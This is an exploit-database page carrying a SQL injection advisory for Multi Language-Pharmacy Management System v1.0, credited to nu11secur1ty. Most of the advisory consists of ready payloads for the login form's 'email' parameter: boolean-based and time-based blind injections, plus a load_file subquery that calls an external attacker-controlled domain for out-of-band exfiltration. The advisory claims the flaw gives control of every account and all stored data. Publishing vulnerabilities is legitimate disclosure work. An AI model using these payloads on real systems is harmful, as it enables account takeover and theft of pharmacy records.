Lucene search
K

Multi Language-Pharmacy Management System v1.0 SQL injection Vulnerability

🗓️ 20 Apr 2022 00:00:00Reported by nu11secur1tyType 
zdt
 zdt
🔗 0day.today👁 580 Views

Multi Language-Pharmacy Management System v1.0 SQL injection Vulnerability. Email parameter vulnerable to SQL injection allowing admin control, account takeover, and data exfiltration

Code
## Title: Multi Language-Pharmacy Management System v1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/mayurik
## Software: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Multi-Language-Pharmacy-Management-System

## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\9w6rmtbhxxcptuoxu2v3g6hci3oycp3dugi85ytn.nadurven.com\\wrw'))+' was submitted in the email parameter. 
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain.  
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: [email protected]'+(select load_file('\\\\9w6rmtbhxxcptuoxu2v3g6hci3oycp3dugi85ytn.nadurven.com\\wrw'))+'' OR NOT 3850=3850-- JdUZ&password=mayurik&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]'+(select load_file('\\\\9w6rmtbhxxcptuoxu2v3g6hci3oycp3dugi85ytn.nadurven.com\\wrw'))+'' AND (SELECT 4356 FROM (SELECT(SLEEP(5)))MVcJ)-- FpDu&password=mayurik&login=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Multi-Language-Pharmacy-Management-System)

## Proof and Exploit:
[href](https://streamable.com/87fczs)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2022 00:00Current
6.8Medium risk
Vulners AI Score6.8
580